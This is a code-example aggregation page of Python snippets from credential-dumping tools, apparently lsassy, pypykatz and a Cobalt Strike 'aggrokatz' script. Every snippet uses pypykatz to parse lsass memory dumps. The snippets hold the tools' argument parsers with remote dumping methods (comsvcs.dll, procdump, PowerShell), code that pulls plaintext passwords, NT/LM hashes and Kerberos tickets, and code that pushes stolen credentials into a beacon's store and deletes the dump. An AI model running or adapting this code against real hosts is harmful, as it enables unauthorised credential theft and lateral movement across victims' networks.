Ejemplo n.º 1
0
    def parse(self):
        pypy_parse = pypykatz.parse_minidump_external(self._dumpfile)
        self._dumpfile.close()

        ssps = [
            'msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds',
            'kerberos_creds', 'credman_creds', 'tspkg_creds'
        ]
        for luid in pypy_parse.logon_sessions:

            for ssp in ssps:
                for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
                    domain = getattr(cred, "domainname", None)
                    username = getattr(cred, "username", None)
                    password = getattr(cred, "password", None)
                    LMHash = getattr(cred, "LMHash", None)
                    NThash = getattr(cred, "NThash", None)
                    if LMHash is not None:
                        LMHash = LMHash.hex()
                    if NThash is not None:
                        NThash = NThash.hex()
                    # Remove empty password, machine accounts and buggy entries
                    if self._raw:
                        self._credentials.append(
                            [ssp, domain, username, password, LMHash, NThash])
                    elif (not all(v is None or v == ''
                                  for v in [password, LMHash, NThash])
                          and username is not None
                          and not username.endswith('$')
                          and not username == ''):
                        self._credentials.append(
                            (ssp, domain, username, password, LMHash, NThash))
        return RetCode(ERROR_SUCCESS)
Ejemplo n.º 2
0
def parse_lsass_blocking(lsass_file, lsass_unc):
    try:
        lsass_file.open(lsass_unc, 'rb')
        res = pypykatz.parse_minidump_external(lsass_file)
        lsass_file.close()
        return res, None
    except Exception as e:
        return None, e
Ejemplo n.º 3
0
def parseDump(dump):
    credentials = []
    results = {}
    dico = {}

    result = pypykatz.parse_minidump_external(dump)

    for luid in result.logon_sessions:
        try:
            dico = result.logon_sessions[luid].to_dict()

            for cred in result.logon_sessions[luid].msv_creds:
                if '$' not in cred.username:
                    credentials.append(
                        (cred.domainname, cred.username, 'NA',
                         (cred.LMHash.hex() if cred.LMHash else 'NA'),
                         (cred.NThash.hex() if cred.NThash else 'NA')))

            for cred in result.logon_sessions[luid].wdigest_creds:
                if cred.password and "TBAL" not in cred.password and '$' not in cred.username:
                    credentials.append((cred.domainname, cred.username,
                                        cred.password, 'NA', 'NA'))
            ''' Little bug with this one ?
            for cred in result.logon_sessions[luid].ssp_creds:
                if cred.password and "TBAL" not in cred.password and '$' not in cred.username:
                    credentials.append((cred.domainname, cred.username, cred.password, 'NA', 'NA'))
            '''

            for cred in result.logon_sessions[luid].livessp_creds:
                if cred.password and "TBAL" not in cred.password and '$' not in cred.username:
                    credentials.append((cred.domainname, cred.username,
                                        cred.password, 'NA', 'NA'))

            for cred in result.logon_sessions[luid].kerberos_creds:
                if cred.password and "TBAL" not in cred.password and '$' not in cred.username:
                    credentials.append((cred.domainname, cred.username,
                                        cred.password, 'NA', 'NA'))

            for cred in result.logon_sessions[luid].credman_creds:
                if cred.password and "TBAL" not in cred.password and '$' not in cred.username:
                    credentials.append((cred.domain, cred.username,
                                        cred.password, 'NA', 'NA'))

            for cred in result.logon_sessions[luid].tspkg_creds:
                if cred.password and "TBAL" not in cred.password and '$' not in cred.domainname:
                    credentials.append((cred.username, cred.domainname,
                                        cred.password, 'NA', 'NA'))
        except Exception as e:
            logging.warning(
                "%sA problem occurs with target when accessing value (pypykatz). Err: %s"
                % (warningRed, e))

    credentials = list(skip_duplicates(credentials))

    return credentials
Ejemplo n.º 4
0
    def parse(self):
        """
        Parse remote dump file and delete it after parsing
        :return: List of Credentials
        """
        credentials = []
        tickets = []
        try:
            pypy_parse = pypykatz.parse_minidump_external(self._dumpfile,
                                                          chunksize=60 * 1024)
        except Exception as e:
            logging.error("An error occurred while parsing lsass dump",
                          exc_info=True)
            return None

        ssps = [
            'msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds',
            'kerberos_creds', 'credman_creds', 'tspkg_creds'
        ]
        for luid in pypy_parse.logon_sessions:

            for ssp in ssps:
                for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
                    domain = getattr(cred, "domainname", None)
                    username = getattr(cred, "username", None)
                    password = getattr(cred, "password", None)
                    LMHash = getattr(cred, "LMHash", None)
                    NThash = getattr(cred, "NThash", None)
                    SHA1 = getattr(cred, "SHAHash", None)
                    if LMHash is not None:
                        LMHash = LMHash.hex()
                    if NThash is not None:
                        NThash = NThash.hex()
                    if SHA1 is not None:
                        SHA1 = SHA1.hex()
                    if username and (password or NThash or LMHash):
                        credentials.append(
                            Credential(ssp=ssp,
                                       domain=domain,
                                       username=username,
                                       password=password,
                                       lmhash=LMHash,
                                       nthash=NThash,
                                       sha1=SHA1))

            for kcred in pypy_parse.logon_sessions[luid].kerberos_creds:
                for ticket in kcred.tickets:
                    tickets.append(ticket)

        for cred in pypy_parse.orphaned_creds:
            if cred.credtype == 'kerberos':
                for ticket in cred.tickets:
                    tickets.append(ticket)

        return credentials, tickets
Ejemplo n.º 5
0
def run():
    import argparse
    parser = argparse.ArgumentParser(
        description='lsassy v{} - Remote lsass dump reader'.format(version))
    group_auth = parser.add_argument_group('Authentication')
    group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash')
    group_out = parser.add_argument_group('Output')
    group_out.add_argument('-j',
                           '--json',
                           action='store_true',
                           help='Print credentials in JSON format')
    group_out.add_argument('-k',
                           '--kerberos-dir',
                           help='Save kerberos tickets to a directory.')
    group_out.add_argument('-g',
                           '--grep',
                           action='store_true',
                           help='Print credentials in greppable format')
    group_out.add_argument('-o', '--outfile', help='Save results to file')
    parser.add_argument('-r',
                        '--raw',
                        action='store_true',
                        help='Raw results without filtering')
    parser.add_argument('-d',
                        '--debug',
                        action='store_true',
                        help='Debug output')
    parser.add_argument('-V',
                        '--version',
                        action='version',
                        version='%(prog)s (version {})'.format(version))
    parser.add_argument(
        'target',
        action='store',
        help=
        '[domain/]username[:password]@<host>:/share_name/path/to/lsass/dump')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(0)

    args = parser.parse_args()
    conn, share_name, file_path = ImpacketConnection.from_args(
        args, args.debug)

    ifile = ImpacketFile()
    ifile.open(conn, share_name, file_path)
    dumpfile = pypykatz.parse_minidump_external(ifile)
    parser = Parser(dumpfile)
    parser.output(args)
Ejemplo n.º 6
0
def run():
    import argparse
    parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--')
    parser.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
    parser.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
    parser.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
    parser.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
    parser.add_argument('-d', '--debug', action='store_true', help = 'Debug output')
    parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>:/shareName/path/to/lsass/dump')
    parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version))
    args = parser.parse_args()
    conn, share_name, file_path  = ImpacketConnection.from_args(args, args.debug)
    ifile = ImpacketFile()
    ifile.open(conn, share_name, file_path)
    dumpfile = pypykatz.parse_minidump_external(ifile)
    LSACMDHelper().process_results({"dumfile": dumpfile}, [], args)
Ejemplo n.º 7
0
def main():
    for chk in [512, 1024, 5 * 1024, 10 * 1024, 20 * 1024, 50 * 1024]:
        f = DebugFile(sys.argv[1])
        mimi = pypykatz.parse_minidump_external(f,
                                                chunksize=chk,
                                                packages=['all'])
        res = sorted(f.reads, key=lambda x: x[0])
        i = 0
        for pos, n in res:
            #print('READ: %s %s' % (pos, n))
            if n < 1024:
                i += 1
        print('chk : %s' % chk)
        print('reads: %s' % len(f.reads))
        print('small reads: %s' % i)
        print('total reads: %s' % (f.total_read))
        print('')
    print('DONE!')
Ejemplo n.º 8
0
def main(file):
    #cred_dict= {'luid': [], 'creds': []}
    cred_dict= []
    #cred_dict = {'ssp', 'domain', 'username', 'password', 'lmhash', 'nthash'}

    dmpContents = open(file, "rb")
    pypyParse = pypykatz.parse_minidump_external(dmpContents)
    dmpContents.close()

    ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds']
    for luid in pypyParse.logon_sessions:
        for ssp in ssps:
            for cred in getattr(pypyParse.logon_sessions[luid], ssp, []):
                domain = getattr(cred, "domainname", None)
                username = getattr(cred, "username", None)
                password = getattr(cred, "password", None)
                LMHash = getattr(cred, "LMHash", None)
                NThash = getattr(cred, "NThash", None)
                if LMHash is not None:
                    LMHash = LMHash.hex()
                if NThash is not None:
                    NThash = NThash.hex()
                if (not all(v is None or v == '' for v in [password, LMHash, NThash])
                        and username is not None
                        and not username.endswith('$')
                        and not username == ''):
                    if not LMHash:
                        LMHash = "aad3b435b51404eeaad3b435b51404ee"
                    if not password:
                        password = "******"
                    creds = {'ssp':ssp, 'domain':domain, 'username':username, 'password':password, 'lmhash':LMHash, 'nthash':NThash}
                    cred_dict.append(creds)


    cred_json = json.dumps(cred_dict)
    print(cred_json)
Ejemplo n.º 9
0
def parseDump(dump, target):
    credentials = []
    result = []
    dico = {}

    try:
        result = pypykatz.parse_minidump_external(dump)

        for luid in result.logon_sessions:
            dico = result.logon_sessions[luid].to_dict()

            for cred in result.logon_sessions[luid].msv_creds:
                if cred.username != None:
                    credentials.append(
                        (cred.domainname, cred.username, 'NA',
                         (cred.LMHash.hex() if cred.LMHash else 'NA'),
                         (cred.NThash.hex() if cred.NThash else 'NA')))

            for cred in result.logon_sessions[luid].wdigest_creds:
                if cred.password and type(cred.password) != bytes:
                    if 'TBAL' not in cred.password:
                        credentials.append((cred.domainname, cred.username,
                                            cred.password, 'NA', 'NA'))

            for cred in result.logon_sessions[luid].ssp_creds:
                if cred.password and type(cred.password) != bytes:
                    if 'TBAL' not in cred.password:
                        credentials.append((cred.domainname, cred.username,
                                            cred.password, 'NA', 'NA'))

            for cred in result.logon_sessions[luid].livessp_creds:
                if cred.password and type(cred.password) != bytes:
                    if 'TBAL' not in cred.password:
                        credentials.append((cred.domainname, cred.username,
                                            cred.password, 'NA', 'NA'))

            for cred in result.logon_sessions[luid].kerberos_creds:
                if cred.password and type(cred.password) != bytes:
                    if 'TBAL' not in cred.password:
                        credentials.append((cred.domainname, cred.username,
                                            cred.password, 'NA', 'NA'))

            for cred in result.logon_sessions[luid].credman_creds:
                if cred.password and type(cred.password) != bytes:
                    if 'TBAL' not in cred.password:
                        credentials.append(
                            ("NA", cred.username, cred.password, 'NA', 'NA'))

            for cred in result.logon_sessions[luid].tspkg_creds:
                if cred.password and type(cred.password) != bytes:
                    if 'TBAL' not in cred.password:
                        credentials.append((cred.username, cred.domainname,
                                            cred.password, 'NA', 'NA'))

    except Exception as e:
        logging.warning(
            "%sA problem occurs during the parse of %s%s%s's dump. Err: %s." %
            (warningRed, red, target, white, e))
        logging.debug("%s==== STACKTRACE ====" % (blue))
        if logging.getLogger().getEffectiveLevel() <= 10:
            traceback.print_exc(file=sys.stdout)
        logging.debug("%s==== STACKTRACE ====%s" % (blue, white))

    credentials = list(skip_duplicates(credentials))

    return credentials
Ejemplo n.º 10
0
def run():
    import argparse

    examples = '''examples:
    
  ** RunDLL Dump Method **
  lsassy adsec.local/pixis:[email protected]
  
  ** Try all methods **
  lsassy -m 0 adsec.local/pixis:[email protected]

  ** Procdump Dump Method **
  lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected]
  
  ** Remote parsing only **
  lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected]
  
  ** Output functions **
  lsassy -j -q [email protected]
  lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]'''

    parser = argparse.ArgumentParser(
        prog="lsassy",
        description='lsassy v{} - Remote lsass dump reader'.format(version),
        epilog=examples,
        formatter_class=argparse.RawTextHelpFormatter
    )

    group_auth = parser.add_argument_group('authentication')
    group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash')
    group_out = parser.add_argument_group('output')
    group_out.add_argument('-j', '--json', action='store_true',help='Print credentials in JSON format')
    group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format')
    group_extract = parser.add_argument_group('remote parsing only')
    group_extract.add_argument('--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)')
    parser.add_argument('-m', '--method', action='store', default="1", help='''Dumping method
    0: Try all methods to dump procdump, stop on success (Requires -p if dll method fails)
    1: comsvcs.dll method, stop on success (default)
    2: Procdump method, stop on success (Requires -p)
    3: comsvcs.dll + Powershell method, stop on success
    4: comsvcs.dll + cmd.exe method''')
    parser.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)')
    parser.add_argument('-p', '--procdump', action='store', help='Procdump path')
    parser.add_argument('-r', '--raw', action='store_true', help='No basic result filtering')
    parser.add_argument('-d', '--debug', action='store_true', help='Debug output')
    parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials')
    parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version))
    parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(0)

    args = parser.parse_args()

    logger = Logger(args.debug, args.quiet)

    conn = ImpacketConnection.from_args(args, logger)
    file_path = args.dumppath

    dumper = None

    if not args.dumppath:
        dumper = Dumper(conn, args, logger)
        file_path = dumper.dump()
        if not file_path:
            logger.error("lsass could not be dumped")
            exit()
        logger.success("Process lsass.exe is being dumped")

    ifile = ImpacketFile(logger)
    ifile.open(conn, file_path)
    dumpfile = pypykatz.parse_minidump_external(ifile)
    ifile.close()
    parser = Parser(dumpfile, logger)
    parser.output(args)

    if dumper is not None:
        dumper.clean()
    conn.close()
Ejemplo n.º 11
0
def run():
    import argparse

    examples = '''examples:
    
  ** RunDLL Dump Method **
  lsassy adsec.local/pixis:[email protected]
  
  ** Try all methods **
  lsassy -m 0 adsec.local/pixis:[email protected]

  ** Procdump Dump Method **
  lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected]
  
  ** Remote parsing only **
  lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected]
  
  ** Output functions **
  lsassy -j -q [email protected]
  lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]'''

    parser = argparse.ArgumentParser(
        prog="lsassy",
        description='lsassy v{} - Remote lsass dump reader'.format(version),
        epilog=examples,
        formatter_class=argparse.RawTextHelpFormatter)

    group_dump = parser.add_argument_group('dump')
    group_dump.add_argument('-m',
                            '--method',
                            action='store',
                            default="1",
                            help='''Dumping method
    0: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails)
    1: comsvcs.dll method, stop on success (default)
    2: Procdump method, stop on success (Requires -p)
    3: comsvcs.dll + Powershell method, stop on success
    4: comsvcs.dll + cmd.exe method''')
    group_dump.add_argument('--dumpname',
                            action='store',
                            help='Name given to lsass dump (Default: Random)')
    group_dump.add_argument('-p',
                            '--procdump',
                            action='store',
                            help='Procdump path')
    group_dump.add_argument(
        '--timeout',
        default="10",
        action='store',
        help='Timeout before considering lsass was not dumped successfully')

    group_auth = parser.add_argument_group('authentication')
    group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash')

    group_out = parser.add_argument_group('output')
    group_out.add_argument('-j',
                           '--json',
                           action='store_true',
                           help='Print credentials in JSON format')
    group_out.add_argument('-g',
                           '--grep',
                           action='store_true',
                           help='Print credentials in greppable format')
    group_extract = parser.add_argument_group('remote parsing only')
    group_extract.add_argument(
        '--dumppath',
        action='store',
        help='lsass dump path (Format : c$/Temp/lsass.dmp)')

    parser.add_argument(
        '-r',
        '--raw',
        action='store_true',
        help=
        'No basic result filtering (Display host credentials and duplicates)')
    parser.add_argument('-d',
                        '--debug',
                        action='store_true',
                        help='Debug output')
    parser.add_argument('-q',
                        '--quiet',
                        action='store_true',
                        help='Quiet mode, only display credentials')
    parser.add_argument('-V',
                        '--version',
                        action='version',
                        version='%(prog)s (version {})'.format(version))
    parser.add_argument('target',
                        action='store',
                        help='[domain/]username[:password]@<host>')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code)

    args = parser.parse_args()
    logger = Logger(args.debug, args.quiet)

    conn = ImpacketConnection.from_args(args, logger)

    if isinstance(conn, RetCode):
        return_code = conn
        lsassy_exit(logger, return_code)

    return_code = conn.isadmin()
    if not return_code.success():
        conn.close()
        lsassy_exit(logger, return_code)

    dumper = None
    ifile = None

    try:
        if not args.dumppath:
            dumper = Dumper(conn, args, logger)
            ifile = dumper.dump()
            if isinstance(ifile, RetCode):
                return_code = ifile
            else:
                logger.success("Process lsass.exe has been dumped")
        else:
            ifile = ImpacketFile(conn, logger).open(args.dumppath)
            if not isinstance(ifile, ImpacketFile):
                return_code = ifile

        if return_code.success():
            dumpfile = pypykatz.parse_minidump_external(ifile)
            ifile.close()
            parser = Parser(dumpfile, logger)
            parser.output(args)
    except KeyboardInterrupt as e:
        print("\nQuitting gracefully...")
        return_code = RetCode(ERROR_USER_INTERRUPTION)
    except Exception as e:
        return_code = RetCode(ERROR_UNDEFINED, e)
        pass
    finally:
        try:
            ifile.close()
        except Exception as e:
            pass
        if dumper is not None:
            dumper.clean()
        conn.close()
        lsassy_exit(logger, return_code)
Ejemplo n.º 12
0
def parse_lsass(bid,
                filepath,
                boffilepath,
                chunksize,
                packages=['all'],
                outputs=['text'],
                to_delete=False,
                add_creds=True):

    engine.message('parse_lsass invoked')
    engine.message('bid %s' % bid)
    engine.message('filepath %s' % filepath)
    engine.message('chunksize %s' % chunksize)
    engine.message('packages %s' % (','.join(packages)))

    starttime = datetime.datetime.utcnow()
    bfile = BaconFileReader(bid, filepath, boffilepath, chunksize=chunksize)
    mimi = pypykatz.parse_minidump_external(bfile,
                                            chunksize=chunksize,
                                            packages=packages)
    engine.message(str(bfile))
    endtime = datetime.datetime.utcnow()
    runtime = (endtime - starttime).total_seconds()
    engine.message('TOTAL RUNTIME: %ss' % runtime)

    if 'text' in outputs:
        engine.message(str(mimi))
        aggressor.blog(bid, str(mimi))

    if 'json' in outputs:
        engine.message(mimi.to_json())
        aggressor.blog(bid, mimi.to_json())

    if 'grep' in outputs:
        engine.message(mimi.to_grep())
        aggressor.blog(bid, mimi.to_grep())

    if to_delete is True:
        engine.call('fdelete', [bid, boffilepath, filepath, 1])

    if add_creds is True:
        host = str(bid)
        for luid in mimi.logon_sessions:
            res = mimi.logon_sessions[luid].to_dict()
            for msv in res['msv_creds']:
                engine.message(repr(msv))
                if pwconv(msv['NThash']) is not None:
                    source = '[AGGROKATZ][%s][%s] LSASS dump %s' % (
                        'msv', 'NT', filepath)
                    aggressor.credential_add(str(msv['username']),
                                             pwconv(msv['NThash']),
                                             str(msv['domainname']), source,
                                             host)
                if pwconv(msv['LMHash']) is not None:
                    source = '[AGGROKATZ][%s][%s] LSASS dump %s' % (
                        'msv', 'LM', filepath)
                    aggressor.credential_add(str(msv['username']),
                                             pwconv(msv['LMHash']),
                                             str(msv['domainname']), source,
                                             host)

            for pkgt in [
                    'wdigest_creds', 'ssp_creds', 'livessp_creds',
                    'kerberos_creds', 'credman_creds', 'tspkg_creds'
            ]:
                for pkg in res[pkgt]:
                    if pwconv(pkg['password']) is not None:
                        source = '[AGGROKATZ][%s] LSASS dump %s' % (pkgt,
                                                                    filepath)
                        aggressor.credential_add(str(pkg['username']),
                                                 pwconv(pkg['password']),
                                                 str(pkg['domainname']),
                                                 source, host)
Ejemplo n.º 13
0
def run():
    import argparse

    examples = '''examples:
    
  ** RunDLL Dump Method **
  lsassy adsec.local/pixis:[email protected]
  
  ** Procdump Dump Method **
  lsassy -P /tmp/procdump.exe adsec.local/pixis:[email protected]
  
  ** Remote parsing only **
  lsassy -p C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected]
  
  ** Output functions **
  lsassy -j -q -p C$/Windows/Temp/lsass.dmp [email protected]
  lsassy --hashes 952c28bd2fd728898411b301475009b7 [email protected]
  
  lsassy -d adsec.local/pixis:[email protected]'''

    parser = argparse.ArgumentParser(
        prog="lsassy",
        description='lsassy v{} - Remote lsass dump reader'.format(version),
        epilog=examples,
        formatter_class=argparse.RawDescriptionHelpFormatter)
    group_auth = parser.add_argument_group('procdump (default DLL)')
    group_auth.add_argument('-p',
                            '--procdump',
                            action='store',
                            help='procdump path')
    group_auth = parser.add_argument_group('authentication')
    group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash')
    group_out = parser.add_argument_group('output')
    group_out.add_argument('-j',
                           '--json',
                           action='store_true',
                           help='Print credentials in JSON format')
    group_out.add_argument('-g',
                           '--grep',
                           action='store_true',
                           help='Print credentials in greppable format')
    group_extract = parser.add_argument_group('remote parsing only')
    group_extract.add_argument(
        '--dumppath',
        action='store',
        help='lsass dump path (Format : c$/Temp/lsass.dmp)')
    parser.add_argument('-r',
                        '--raw',
                        action='store_true',
                        help='Raw results without filtering')
    parser.add_argument('-d',
                        '--debug',
                        action='store_true',
                        help='Debug output')
    parser.add_argument('-q',
                        '--quiet',
                        action='store_true',
                        help='Quiet mode, only display credentials')
    parser.add_argument('-V',
                        '--version',
                        action='version',
                        version='%(prog)s (version {})'.format(version))
    parser.add_argument('target',
                        action='store',
                        help='[domain/]username[:password]@<host>')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(0)

    args = parser.parse_args()

    logger = Logger(args.debug, args.quiet)

    conn = ImpacketConnection.from_args(args, logger)
    file_path = args.dumppath

    dumper = None
    if not args.dumppath:
        dumper = Dumper(conn, args, logger)
        if args.procdump:
            file_path = dumper.dump("procdump")
        else:
            file_path = dumper.dump("dll")
        if not file_path:
            exit()

    ifile = ImpacketFile(logger)
    ifile.open(conn, file_path)
    dumpfile = pypykatz.parse_minidump_external(ifile)
    ifile.close()
    parser = Parser(dumpfile, logger)
    parser.output(args)

    if dumper is not None:
        dumper.clean()
    conn.close()